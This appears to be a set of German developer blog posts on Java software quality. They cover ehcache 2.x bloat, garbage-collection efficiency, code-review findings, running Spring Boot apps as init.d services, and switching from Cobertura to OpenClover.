tl;dr: EventBus-ähnliche Architektur löst auf elegante Weise viele Multithreading-Probleme, da sie auf gleichzeitige Zugriffe auf ein und dieselben Ressourcen prinzipiell verzichtet. Das bedeutet maximale Entkopplung, weniger Abhängigkeiten und weniger Probleme. Mit ganz einfachen Mitteln. Investieren Sie Ihre wertvolle Zeit lieber in wichtigere Dinge, zum Beispiel Vermeiden von Sicherheitslücken…

EHCache mit Ballast

Auf manche Umstände stößt man ja eher zufällig, zum Beispiel wenn man die Festplatte aufräumt und dabei den vermissten Schlüssel für die Börse mit den zwei oder drei vor 20 Jahren vergessenen Bitcoins wiederfindet.

Nein, hier geht es nicht um Geld, sondern um Energieverschwendung. Mal wieder. Leider. Sorry.

Bei der Modernisierung einer etwas in die Jahre gekommenen Java-Anwendung war es erforderlich, die uralte Version 1.1 von ehcache durch eine aktuelle zu ersetzen. Da ehcache 3.x komplett inkompatible Konfigurationsdateien verwendet, greift der faule Entwickler zur letzten stabilen 2er-Version, nämlich 2.10.6.

Das funktioniert prima, die API ist dieselbe wie anno dazumal in der 1.1. Alles gut, bis ich mich fragte, wieso denn meine Webanwendung neuerdings über 22 MB groß ist.

Ein Blick ins WAR verrät den Übeltäter sofort: ehcache-2.10.6.jar mit über 10 MB macht fast die Hälfte meiner Anwendungsgröße aus!

ehcache-1.1.jar bringt im Vergleich läppische 47,5 kB auf die Waage.

Eine Vergrrrrrööööößerung also um einen Faktor 200. Ungefähr.

Wasnulos?

Zum Glück haben wir es mit Open Source zu tun und können mal nachschauen, ob der Anbieter vielleicht versehentlich ein Promotion-Video eingebaut hat:

Was ist denn das?!? Braucht das jemand!?!? Kann das weg?!?

Nein, kein Promo-Video, sondern ein Paket namens rest-management-private-classpath, in dem sich anscheinend nicht ein, sondern gleich zwei embedded Application Server befinden, nämlich ein Glassfish und ein Jetty.

Freilich weiß der Experte, dass mit ehcache-server ein Ehcache-Produkt für verteiltes Caching mit toller REST-API zur Verfügung steht, aber was hat das in dieser Library zu suchen? (Wenn es das ist, ich rate hier ein bisschen)

Klarer Fall: Grob geschätzt 99% der Anwendungen, die ehcache 2 nutzen, benötigen diese eingebauten Application Server überhaupt nicht (weil sie eigene mitbringen oder in standalone-Server deployed werden). Dass die eingebauten Server kaum jemals verwendet (oder auch nur bemerkt) werden, zeigt auch eine Suche auf stackoverflow, die für “rest-management-private-classpath” gerade mal 42 (kein Witz) Resultate auswirft, für “ehcache” jedoch 8461.

Effizienz sieht anders aus

Wer schonmal was von einer neumodischen Erfindung namens “Modularität” gehört hat, und etwas mit dem komplizierten Fremdwort “Effizienz” anfangen kann, kommt ziemlich schnell drauf, dass man weniger häufig benötigte, optionale Komponenten total cool in eigene Bibliotheken auslagern kann, um die Kernfunktionalität besonders schlank zu halten.

Durch den unnötigen Ballast laden Buildsysteme also mit ehcache 2.x andauernd ca. 8 MB (ungefähre komprimierte Größe des Ballasts) mehr Daten runter oder rauf als nötig und verschwenden so Bandbreite und Speicherplatz. Das klingt nach wenig – aber Ehcache ist nach eigener Aussage “Java’s most widely used cache”, und die Anzahl der Anwendungen, die die aufgeblähte Version verwenden, dürfte von erheblicher Größe sein, entsprechend hoch die Anzahl der Buildvorgänge, bei denen die Datei (mindestens) von einem Maven-Repository auf den Build-Rechner transferiert werden muss usw.

Zur Erinnerung: Jedes übertragene oder irgendwo gespeicherte Byte verbraucht Energie und trägt zum CO2-Ausstoß bei. Äußerst wenig natürlich, aber multipliziert mit einer extrem großen Häufigkeit ist das durchaus relevant. Und in diesem Fall unnötig. Bekanntlich tragen Rechenzentren zwischen 10 und 20% zum weltweiten Energieverbrauch bei. Mangelhafte Software-Effizienz trägt daran eine Mitschuld!

Hausaufgabe (zu morgen!): Den eigenen Code in Bezug auf diese Fragestellung in Augenschein nehmen.

Übrigens: In ehcache 3 hat man auf den Ballast verzichtet, das Artefakt ehcache-3.9.2.jar ist bloß 1,8 MB groß.

tl;dr: ehcache 2 schleppt unnötigen Ballast in jede damit arbeitende Anwendung. Um Energie und CO2 einzusparen, sollten Entwickler also zeitnah von Version 2.x auf 3.9 migrieren.

Voller als voll

Wenn der Speicher voll ist, wirft Java bekanntlich einen OutOfMemoryError:

Oha.

Tatsächlich kann der Speicher sogar so knapp werden, dass er nicht einmal genügt, um ein Objekte der Klasse OutOfMemoryError zu erzeugen …

Wer genau hinschaut, kann sehen, dass der Fehler von com.android.vending geworfen wurde, also dem Play Store auf einem Android-Smartphone. Einem virtuellen allerdings, denn das Ganze ist beim Vorveröffentlichungs-Test einer App passiert.

Exkurs

Kleiner Exkurs über Speicher unter Java?

Nein … nur ein klitzekleiner, das Thema ist so groß, dass es gerade nicht in meinen Arbeitsspeicher passt.

Beim Start müssen wir der virtuellen Maschine von Java einen gewissen Spielraum einräumen – Speicher, der dann dem Programm zur Verfügung steht, sei es für Bytecode oder Objekte (es ist wirklich kompliziert). Der Garbage Collector ist ja einer der Hauptgründe, Java zu verwenden, weil er die Entwicklung so schön einfach macht. Programmierer müssen sich keine Gedanken darüber machen, wann sie ihre erzeugten Objekte wieder wegschmeißen müssen. Der Preis ist natürlich, dass der Garbage Collector Rechenzeit verbraucht – und das kann beim Verzicht auf Optimierungen durchaus merkliche Auswirkungen haben.

Zu viel Dingsbums

Beispiel Spiele: Normalerweise besitzen Spiele einen Renderer, der 30 mal pro Sekunde (oder öfter) den Bildschirm neu zeichnet. Da normalerweise bewegliche Dingsbums mit von der Partie sind, müssen Berechnungen stattfinden. Zum Beispiel sind Vektoren zu addieren, etwa so:

Vector3 newLocation = new Vector3(move(dingsbums,oldLocation,timePassed));
drawAt(dingsbums,newLocation);

Die erste Zeile erzeugt ein neues Objekt (newLocation) auf dem Heap. Am Ende der Zeichenfunktion ist es überflüssig, d.h. der Garbage Collector wird es irgendwann wegräumen. Jetzt stellen Sie sich vor, dass deutlich mehr als ein Dingsbums auf dem Bildschirm ist. Alle müssen sich bewegen, für jedes entsteht ein neues Vector3-Objekt, und das 30 mal pro Sekunde. Sie können sich leicht ausrechnen, wie viele Objekte der Garbage Collector letztlich aufzuräumen hat. Schlimmstenfalls macht sich das als Ruckeln bemerkbar, auf jeden Fall verbraucht es Prozessorzeit und damit Energie (also Akkuladung).

Besser ist es also, Objekte wiederzuverwenden. Dingsbums sollte über einen permanenten Vector3 verfügen, nur dessen Koordinaten (vielleicht native floats) ändern sich noch:

move(dingsbums,timePassed);
drawAt(dingsbums.getLocation());

Profilieren

Sie können mit Android Studio im Profiler genauso wie mit Java-Tools wie jmx die Aktivität des Garbage Collectors verfolgen. Ein guter Hinweis ist ein zackiger Sägezahnverlauf der Speicherbelegung. Wird der GC sehr oft aktiv, deutet das auf Optimierungspotenzial hin. Der Profiler zeigt dann an, in welchem initializer besonders viel Zeit draufgeht – damit wissen Sie, welche Objekte womöglich zu oft erzeugt werden.

Bekanntlich beträgt der Anteil der CO2-Ausstoßes der IT weltweit mit ihren ganzen Rechenzentren geschätzt 10-20%. Je effizienter Ihre Anwendung arbeitet, umso weniger ist sie daran schuld. Klingt vielleicht banal, aber nicht wenn Ihre App auf Milliarden Smartphones installiert ist und milliardenfach verwendet wird (und das wollen Sie doch, oder?).

Mehr zum Thema Speicherverbrauch und Effizienz in naher Zukunft und in der nächsten Auflage meines Buchs “Besser coden”.

Fundstücke (Ausgabe Februar ’19)

Natürlich völlig anonymisiert und verfremdet präsentiere ich mal wieder einige aktuelle Fundstücke aus meiner Tätigkeit als gefürchteter Softwarequälitäts-Ganzgenauhinschauerundbesserwisser. Manchmal läuft einem ein Schauer über den Rücken, wenn man den Kontext kennt, aus dem der fragliche Code stammt (den ich freilich nicht verraten darf, weil ich meterlange Verschwiegenheitserklärungen unterschrieben habe). Funktioniert diese Software wirklich genau so, wie sie soll? Und wenn ja: Wie lange noch?

package com.companyname.classesToDeleteWhenUsingJava6;
// TODO delete as soon as Java 1.6 available

Java 1.6, auch bekannt als 6.0, erschien Ende 2006, also vor 13 Jahren.

Nun ja, es hat sich wohl noch nicht überall herumgesprochen, dass Code auch nach Inbetriebnahme gewisser Pflege bedarf. Nur einer der Gründe, wieso Softwarekosten häufig zu niedrig angesetzt werden.

////// ????? ask norbert

Ja, über lustige Kommentare und deren (Un)Zulässigkeit kann man trefflich streiten. Nicht streiten kann man über TODOs, die nicht einmal als solche gekennzeichnet sind. Wenn hier tatsächlich fachlicher Klärungsbedarf besteht oder bestand, dann gehört die eigentliche Frage (die hier zudem nicht einmal hier steht!) nicht in den Code, wo sie ganz offensichtlich in Vergessenheit geriet, sondern in eine Mail an Norbert, in ein Ticket oder von mir aus auf ein Post-it, obwohl die den Nachteil haben, beim Durchlüften verloren zu gehen, und die positive Wirkung von Frischluft aufs Denkvermögen sollte man nicht unterschätzen. The answer my friend is blowing in the wind. But not in the code.

Hier mal kein Codebeispiel, sondern eine Auswirkung: Der direkte Weg in die Programmiererhölle, sogar im wahrsten Sinne des Wortes. Wer auch immer da bei Spotify (oder bei einem Musikverlag, von dem die Daten ursprünglich stammen) eine Art Metadaten-Migration von “V2 to V3” implementiert hat: Er hat irgendeinen Spezialfall nicht berücksichtigt, so dass beim Copyright dieses Albums ein unsinniger Default-Wert (“Default-C Credit”) eingesetzt wurde. Metadaten-Fehler sind auf den ersten Blick harmlos, weil an sie meist keine kritische Geschäftslogik geknüpft ist. Aus leidvoller Erfahrung mit dem Thema Musik-Metadaten kann ich jedoch verraten: Obacht! Es kann passieren, dass durch ähnliche Fehler ein Titel gar nicht erst in einem Suchindex landet und folglich nicht auffindbar ist. Bei einigen Songs für die Nicht-Hörer sicher verschmerzbar, nicht aber für den Künstler. Jedenfalls ein Fehler, der nicht hätte passieren müssen. Spätestens bei einem Codereview hätte jemand feststellen müssen, dass so etwas wie “Default-Credits” überhaupt keinen Sinn ergeben. Der Bug kann Stand heute (Februar 2019) übrigens weiterhin im Spotify-Webplayer besichtigt werden.

Spring Boot-Anwendungen starten

Ohne viel Mühe lassen sich mit Spring Boot Web-Applikationen bauen. Sicher wissen Sie  schon, wie das funktioniert, wie cool das ist, und überhaupt und so. Aber wie starten Sie eine solche Anwendung? Mit dem normalerweise eingebetteten Tomcat-Application Server genügt es, mit java –jar oder, falls Maven vorhanden ist, mvn springBoot:run einzutippen. Aber auf einem Server genügt das nicht: Dort soll die Anwendung gefälligst automatisch starten. Dafür wurden unter Linux die init.d-Dienste erfunden. Spring Boot bringt dafür praktische Funktionen mit.

Nicht jede Spring Boot-Anwendung ist eine Webapplikation. Auch für Kommandozeilen-Programme eignet sich das Framework. Indem man eine Bean das Interface CommandLineRunner implementieren lässt, kann man eine solche Anwendung bauen. Die methode run(String… args) nimmt dabei eventuelle Parameter entgegen, und eine SimpleCommandLinePropertySource erlaubt es, sie auszuwerten. Das erzeugte Artefakt ist natürlich ein jar, das mit java –jar myapp.jar gestartet werden kann. Oder (unter Linux) auch direkt mit ./myapp.jar, wenn man das im Build vermerkt:

<plugin>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-maven-plugin</artifactId>

<configuration>

<executable>true</executable>

</configuration>

</plugin>

(Hier mit Maven)

Zu beachten ist, dass das Arbeitsverzeichnis der Anwendung dasjenige ist, in dem das jar liegt, und nicht etwa das, in dem der Startbefehl abgesetzt wurde. Wenn Sie beispielsweise vom Projektverzeichnis aus ein jar starten, das in target liegt, ist das ein wichtiger Unterschied.

Ist das jar auf diese Weise ausführbar gemacht worden, fungiert es automatisch auch als init.d-Service. Erzeugen Sie einfach einen symbolischen Link in /etc/init.d:

sudo ln –s /path/to/my/app.jar /etc/init.d/app

Hernach können Sie die App wie folgt verwalten:

/etc/init.d/app start

/etc/init.d/app stop

/etc/init.d/app restart

/etc/init.d/app status

Natürlich funktioniert auch der service-Befehl auf einem Debian-System:

sudo service app start

Mit den üblichen Mitteln kann die app dann zum Autostart-Mechanismus hinzugefügt werden:

sudo update-rc.d app defaults

Aber Vorsicht! Die Anwendung wird mit den Rechten des Users gestartet, dem die jar-Datei gehört. Dies sollte keinesfalls root sein, sondern ein User, der nur mit den notwendigen Rechten ausgestattet ist. Verwenden Sie einfach chown, um den Besitzer der Datei festzulegen.

Das von Spring Boot intern verwendete Start-Skript schreibt log-Meldungen nach /var/log/app.log, bis Ihr eigenes Logging-System aktiv wird. Für den Fall, dass beim Start etwas schiefgeht, müssen Sie also in /var/log/ nachschauen.

Wenn Sie statt System V das neuere systemd verwenden möchten, habe ich eine gute und eine schlechte Nachricht: Die gute ist, dass es natürlich funktioniert, die schlechte, dass es ein ganz klein wenig umständlicher ist, weswegen ich es an dieser Stelle nicht erkläre. Sie finden alles in der offiziellen Dokumentation: https://docs.spring.io/spring-boot/docs/current/reference/html/deployment-install.html

Tschüss, Cobertura

In meinem aktuellen Buch “Besser coden” zähle ich unter anderem Cobertura als Tools zum Ermitteln der Testabdeckung auf.

Gewohnheitsmäßig griff ich heuer auch in einem neuen Projekt zu Cobertura – und fand einen neuen Grund, über Softwarequalität zu schimpfen.

Gut, das ist jetzt ein bisschen unfair, denn die Entwickler von Cobertura sind nur halb schuld. Worin das Problem besteht?

Sobald ich Java-8-Syntax benutze, zum Beispiel eine Funktionsreferenz, wirft Cobertura eine ParseException. Es stellte sich heraus, dass der verwendete Java-Parser in JavaNCSS das nicht unterstützt – und auch nicht mehr weiterentwickelt wird (letztes Commit bei Github 2014, derzeit erschütternde 0 Contributors). Tatsächlich ist dieses Problem schon lange bekannt: Das zugehörige Issue wurde bereits im Juli 2014 eröffnet. In fast dreieinhalb Jahren hat es das Team von Cobertura nicht geschafft, das Problem zu beheben, etwa durch Migrieren zu einem anderen Parser.

Wir als Java-8-Entwickler, die längliche Stacktraces in Buildvorgängen eklig finden, ziehen die Konsequenz und wechseln das Tool.  Wie wär’s zum Beispiel mit OpenClover? Das ist die aktuelle Version des seit Juni 2017 geopensourceten Tools Clover von Atlassian. Eine Firma, die nicht gerade dafür bekannt ist, Schrott zu produzieren.

OpenClover lässt sich leicht in ein Maven-Projekt einklinken:

<build>
 <plugins>
  <plugin>
   <groupId>org.openclover</groupId>
   <artifactId>clover-maven-plugin</artifactId>
   <version>4.2.1</version>
  </plugin>
  ...
 </plugins>
</build>

Dann einfach wie folgt aufrufen:

mvn clover:instrument clover:check clover:clover

(Oder auch ins Maven-Reporting per mvn site einklinken, wie das geht steht hier)

Clover produziert damit eine hübsche, interaktive Webseite im Verzeichnis target/site/clover:

Abgesehen von der Testabdeckung erfasst OpenClover auch die Komplexität von Funktionen und die Ergebnisse von Unit-Tests und nimmt so ein paar anderen Tools die Arbeit ab.

OpenClover lässt sich leicht beibringen, bestimmten Code zu ignorieren, etwa Model-Klassen:

<configuration>
 <excludes>
  <exclude>**/model/*.java</exclude>
 </excludes>
</configuration>

 Außerdem können wir eine Mindestanforderung an die Testabdeckung einstellen: 

<configuration>
 <targetPercentage>50%</targetPercentage>
</configuration>

Stellt Clover einen zu niedrigen Wert fest, erzeugt es einen Build-Fehler. Bindet man diesen Vorgang in Mavens deploy-Phase ein, werden Artefakte mit zu geringer Testabdeckung eiskalt am Zutritt zum Repository gehindert.

Ein Eclipse-Plugin gibt’s auch (nicht über den Marketplace, sondern per Updatesite). Das Plugin zeigt ebenfalls ausführliche Statistiken und hinterlegt außerdem Codezeilen grün oder rot, je nachdem, ob sie von Tests durchlaufen wurden.

OpenClover steht unter Apache-Lizenz, so dass der Benutzung auch in dieser Hinsicht nichts im Wege steht.

 

Teilt eure Erfahrungen mit OpenClover! Ich bin gespannt, was ihr davon haltet.